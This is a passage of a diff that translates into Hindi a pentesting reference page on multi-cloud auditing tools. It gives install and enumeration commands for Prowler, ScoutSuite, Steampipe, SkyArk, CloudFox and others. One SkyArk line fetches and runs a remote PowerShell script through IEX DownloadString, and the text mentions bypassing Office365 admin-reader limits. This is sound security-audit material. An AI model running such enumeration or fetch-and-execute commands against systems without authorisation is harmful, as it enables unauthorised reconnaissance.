being performed.\ - For example, who can write in an AWS bucket where GCP is getting data from (ask how sensitive is the action in GCP treating that data). - - For **integrations inside the cloud you are auditing** from external platforms, you should ask **who has access externally to (ab)use that integration** and check how is that data being used.\ - For example, if a service is using a Docker image hosted in GCR, you should ask who has access to modify that and which sensitive info and access will get that image when executed inside an AWS cloud. +- यह अत्यधिक संभावना है कि **अन्य क्लाउड या SaaS के साथ एकीकरण** क्लाउड env के अंदर उपयोग किए जा रहे हैं। +- **आप जिस क्लाउड का ऑडिट कर रहे हैं** उसके एकीकरण के लिए आपको सूचित करना चाहिए **किसके पास उस एकीकरण का (दुरुपयोग) करने का अधिकार है** और आपको पूछना चाहिए **कितना संवेदनशील** है किया जा रहा कार्य।\ +उदाहरण के लिए, कौन AWS बकेट में लिख सकता है जहाँ GCP डेटा प्राप्त कर रहा है (पूछें कि GCP में उस डेटा को संभालने में कार्य कितना संवेदनशील है)। +- **आप जिस क्लाउड का ऑडिट कर रहे हैं** उसके अंदर बाहरी प्लेटफार्मों से एकीकरण के लिए, आपको पूछना चाहिए **किसके पास बाहरी रूप से उस एकीकरण का (दुरुपयोग) करने का अधिकार है** और जांचें कि उस डेटा का उपयोग कैसे किया जा रहा है।\ +उदाहरण के लिए, यदि एक सेवा GCR में होस्ट की गई Docker छवि का उपयोग कर रही है, तो आपको पूछना चाहिए कि इसे संशोधित करने का किसके पास अधिकार है और उस छवि को AWS क्लाउड के अंदर निष्पादित करने पर कौन सी संवेदनशील जानकारी और पहुंच प्राप्त होगी। ## Multi-Cloud tools -There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section. +कई उपकरण हैं जो विभिन्न क्लाउड वातावरण का परीक्षण करने के लिए उपयोग किए जा सकते हैं। स्थापना के चरण और लिंक इस अनुभाग में बताए जाएंगे। ### [PurplePanda](https://github.com/carlospolop/purplepanda) -A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.** +एक उपकरण जो **क्लाउड और क्लाउड/SaaS में खराब कॉन्फ़िगरेशन और privesc पथों की पहचान करने के लिए है।** {{#tabs }} {{#tab name="Install" }} - ```bash # You need to install and run neo4j also git clone https://github.com/carlospolop/PurplePanda @@ -54,29 +53,25 @@ export PURPLEPANDA_NEO4J_URL="bolt://neo4j@localhost:7687" export PURPLEPANDA_PWD="neo4j_pwd_4_purplepanda" python3 main.py -h # Get help ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash export GOOGLE_DISCOVERY=$(echo 'google: - file_path: "" - file_path: "" - service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64) +service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64) python3 main.py -a -p google #Get basic info of the account to check it's correctly configured python3 main.py -e -p google #Enumerate the env ``` - {{#endtab }} {{#endtabs }} ### [Prowler](https://github.com/prowler-cloud/prowler) -It supports **AWS, GCP & Azure**. Check how to configure each provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) - +यह **AWS, GCP & Azure** का समर्थन करता है। प्रत्येक प्रदाता को कैसे कॉन्फ़िगर करें, यह देखें [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -91,14 +86,12 @@ prowler aws --profile custom-profile [-M csv json json-asff html] prowler --list-checks prowler --list-services ``` - ### [CloudSploit](https://github.com/aquasecurity/cloudsploit) AWS, Azure, Github, Google, Oracle, Alibaba {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="इंस्टॉल करें" }} ```bash # Install git clone https://github.com/aquasecurity/cloudsploit.git @@ -107,16 +100,13 @@ npm install ./index.js -h ## Docker instructions in github ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash ## You need to have creds for a service account and set them in config.js file ./index.js --cloud google --config ``` - {{#endtab }} {{#endtabs }} @@ -125,8 +115,7 @@ npm install AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="इंस्टॉल करें" }} ```bash mkdir scout; cd scout virtualenv -p python3 venv @@ -135,24 +124,21 @@ pip install scoutsuite scout --help ## Using Docker: https://github.com/nccgroup/ScoutSuite/wiki/Docker-Image ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash scout gcp --report-dir /tmp/gcp --user-account --all-projects ## use "--service-account KEY_FILE" instead of "--user-account" to use a service account SCOUT_FOLDER_REPORT="/tmp" for pid in $(gcloud projects list --format="value(projectId)"); do - echo "================================================" - echo "Checking $pid" - mkdir "$SCOUT_FOLDER_REPORT/$pid" - scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid" +echo "================================================" +echo "Checking $pid" +mkdir "$SCOUT_FOLDER_REPORT/$pid" +scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid" done ``` - {{#endtab }} {{#endtabs }} @@ -160,17 +146,14 @@ done {{#tabs }} {{#tab name="Install" }} -Download and install Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Or use Brew: - +Steampipe डाउनलोड और इंस्टॉल करें ([https://steampipe.io/downloads](https://steampipe.io/downloads)). या Brew का उपयोग करें: ``` brew tap turbot/tap brew install steampipe ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash # Install gcp plugin steampipe plugin install gcp @@ -183,13 +166,11 @@ steampipe dashboard # To run all the checks from rhe cli steampipe check all ``` -
-Check all Projects - -In order to check all the projects you need to generate the `gcp.spc` file indicating all the projects to test. You can just follow the indications from the following script +सभी प्रोजेक्ट्स की जांच करें +सभी प्रोजेक्ट्स की जांच करने के लिए आपको `gcp.spc` फ़ाइल उत्पन्न करनी होगी जो परीक्षण के लिए सभी प्रोजेक्ट्स को इंगित करती है। आप बस निम्नलिखित स्क्रिप्ट से संकेतों का पालन कर सकते हैं। ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -197,32 +178,30 @@ rm -rf "$FILEPATH" 2>/dev/null # Generate a json like object for each project for pid in $(gcloud projects list --format="value(projectId)"); do echo "connection \"gcp_$(echo -n $pid | tr "-" "_" )\" { - plugin = \"gcp\" - project = \"$pid\" +plugin = \"gcp\" +project = \"$pid\" }" >> "$FILEPATH" done # Generate the aggragator to call echo 'connection "gcp_all" { - plugin = "gcp" - type = "aggregator" - connections = ["gcp_*"] +plugin = "gcp" +type = "aggregator" +connections = ["gcp_*"] }' >> "$FILEPATH" echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generated" ``` -
-To check **other GCP insights** (useful for enumerating services) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +**अन्य GCP अंतर्दृष्टि** (सेवाओं की गणना के लिए उपयोगी) की जांच करने के लिए उपयोग करें: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -To check Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +Terraform GCP कोड की जांच करने के लिए: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) -More GCP plugins of Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) +Steampipe के अधिक GCP प्लगइन्स: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} {{#tab name="AWS" }} - ```bash # Install aws plugin steampipe plugin install aws @@ -246,29 +225,27 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` +Terraform AWS को चेक करने के लिए: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) - -More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +Steampipe के अधिक AWS प्लगइन्स: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) -AWS, GCP, Azure, DigitalOcean.\ -It requires python2.7 and looks unmaintained. +AWS, GCP, Azure, DigitalOcean।\ +यह python2.7 की आवश्यकता है और यह अप्रबंधित लगता है। ### Nessus -Nessus has an _**Audit Cloud Infrastructure**_ scan supporting: AWS, Azure, Office 365, Rackspace, Salesforce. Some extra configurations in **Azure** are needed to obtain a **Client Id**. +Nessus में _**Audit Cloud Infrastructure**_ स्कैन है जो समर्थन करता है: AWS, Azure, Office 365, Rackspace, Salesforce। **Client Id** प्राप्त करने के लिए **Azure** में कुछ अतिरिक्त कॉन्फ़िगरेशन की आवश्यकता है। ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. +Cloudlist एक **मल्टी-क्लाउड टूल है जो क्लाउड प्रदाताओं से एसेट्स (होस्टनेम, आईपी पते) प्राप्त करने के लिए है।** {{#tabs }} {{#tab name="Cloudlist" }} - ```bash cd /tmp wget https://github.com/projectdiscovery/cloudlist/releases/latest/download/cloudlist_1.0.1_macOS_arm64.zip @@ -276,46 +253,40 @@ unzip cloudlist_1.0.1_macOS_arm64.zip chmod +x cloudlist sudo mv cloudlist /usr/local/bin ``` - {{#endtab }} -{{#tab name="Second Tab" }} - +{{#tab name="दूसरा टैब" }} ```bash ## For GCP it requires service account JSON credentials cloudlist -config ``` - {{#endtab }} {{#endtabs }} ### [**cartography**](https://github.com/lyft/cartography) -Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database. +Cartography एक Python उपकरण है जो बुनियादी ढांचे के संपत्तियों और उनके बीच के संबंधों को एक सहज ग्राफ दृश्य में समेकित करता है, जो Neo4j डेटाबेस द्वारा संचालित होता है। {{#tabs }} {{#tab name="Install" }} - ```bash # Installation docker image pull ghcr.io/lyft/cartography docker run --platform linux/amd64 ghcr.io/lyft/cartography cartography --help ## Install a Neo4j DB version 3.5.* ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash docker run --platform linux/amd64 \ - --volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \ - -e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \ - -e NEO4j_PASSWORD="s3cr3t" \ - ghcr.io/lyft/cartography \ - --neo4j-uri bolt://host.docker.internal:7687 \ - --neo4j-password-env-var NEO4j_PASSWORD \ - --neo4j-user neo4j +--volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \ +-e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \ +-e NEO4j_PASSWORD="s3cr3t" \ +ghcr.io/lyft/cartography \ +--neo4j-uri bolt://host.docker.internal:7687 \ +--neo4j-password-env-var NEO4j_PASSWORD \ +--neo4j-user neo4j # It only checks for a few services inside GCP (https://lyft.github.io/cartography/modules/gcp/index.html) @@ -326,17 +297,15 @@ docker run --platform linux/amd64 \ ## Google Kubernetes Engine ### If you can run starbase or purplepanda you will get more info ``` - {{#endtab }} {{#endtabs }} ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database. +Starbase सेवाओं और प्रणालियों से संपत्तियों और संबंधों को एक सहज ग्राफ दृश्य में एकत्र करता है, जिसमें क्लाउड अवसंरचना, SaaS अनुप्रयोग, सुरक्षा नियंत्रण और अधिक शामिल हैं, जो Neo4j डेटाबेस द्वारा समर्थित है। {{#tabs }} {{#tab name="Install" }} - ```bash # You are going to need Node version 14, so install nvm following https://tecadmin.net/install-nvm-macos-with-homebrew/ npm install --global yarn @@ -359,44 +328,40 @@ docker build --no-cache -t starbase:latest . docker-compose run starbase setup docker-compose run starbase run ``` - {{#endtab }} {{#tab name="GCP" }} - ```yaml ## Config for GCP ### Check out: https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md ### It requires service account credentials integrations: - - name: graph-google-cloud - instanceId: testInstanceId - directory: ./.integrations/graph-google-cloud - gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git - config: - SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}" - PROJECT_ID: "" - FOLDER_ID: "" - ORGANIZATION_ID: "" - CONFIGURE_ORGANIZATION_PROJECTS: false +- name: graph-google-cloud +instanceId: testInstanceId +directory: ./.integrations/graph-google-cloud +gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git +config: +SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}" +PROJECT_ID: "" +FOLDER_ID: "" +ORGANIZATION_ID: "" +CONFIGURE_ORGANIZATION_PROJECTS: false storage: - engine: neo4j - config: - username: neo4j - password: s3cr3t - uri: bolt://localhost:7687 - #Consider using host.docker.internal if from docker +engine: neo4j +config: +username: neo4j +password: s3cr3t +uri: bolt://localhost:7687 +#Consider using host.docker.internal if from docker ``` - {{#endtab }} {{#endtabs }} ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Discover the most privileged users in the scanned AWS or Azure environment, including the AWS Shadow Admins. It uses powershell. - +स्कैन किए गए AWS या Azure वातावरण में सबसे विशेषाधिकार प्राप्त उपयोगकर्ताओं का पता लगाएं, जिसमें AWS Shadow Admins शामिल हैं। यह powershell का उपयोग करता है। ```powershell Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -405,18 +370,17 @@ Start-AzureStealth IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1') Scan-AzureAdmins ``` - ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +एक उपकरण जो शीर्ष क्लाउड प्रदाताओं (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) पर एक कंपनी (लक्ष्य) की अवसंरचना, फ़ाइलों और ऐप्स को खोजने के लिए है। ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox is a tool to find exploitable attack paths in cloud infrastructure (currently only AWS & Azure supported with GCP upcoming). -- It is an enumeration tool which is intended to compliment manual pentesting. -- It doesn't create or modify any data within the cloud environment. +- CloudFox एक उपकरण है जो क्लाउड अवसंरचना में उपयोग किए जाने योग्य हमले के रास्तों को खोजने के लिए है (वर्तमान में केवल AWS और Azure का समर्थन किया गया है, GCP आने वाला है)। +- यह एक एन्यूमरेशन उपकरण है जिसे मैनुअल pentesting के पूरक के रूप में डिज़ाइन किया गया है। +- यह क्लाउड वातावरण के भीतर कोई डेटा नहीं बनाता या संशोधित नहीं करता है। -### More lists of cloud security tools +### क्लाउड सुरक्षा उपकरणों की अधिक सूचियाँ - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -446,16 +410,12 @@ aws-security/ azure-security/ {{#endref}} -### Attack Graph +### हमले का ग्राफ -[**Stormspotter** ](https://github.com/Azure/Stormspotter)creates an “attack graph” of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) एक Azure सदस्यता में संसाधनों का “हमला ग्राफ” बनाता है। यह रेड टीमों और pentesters को हमले की सतह और एक टेनेट के भीतर पिवट अवसरों को दृश्य बनाने में सक्षम बनाता है, और आपके रक्षकों को तेजी से उन्मुख और घटना प्रतिक्रिया कार्य को प्राथमिकता देने के लिए सुपरचार्ज करता है। ### Office365 -You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **via the web application**. +आपको **Global Admin** या कम से कम **Global Admin Reader** की आवश्यकता है (लेकिन ध्यान दें कि Global Admin Reader थोड़ा सीमित है)। हालाँकि, ये सीमाएँ कुछ PS मॉड्यूल में प्रकट होती हैं और **वेब एप्लिकेशन** के माध्यम से सुविधाओं तक पहुँचकर बाईपास की जा सकती हैं। {{#include ../banners/hacktricks-training.md}} - - - -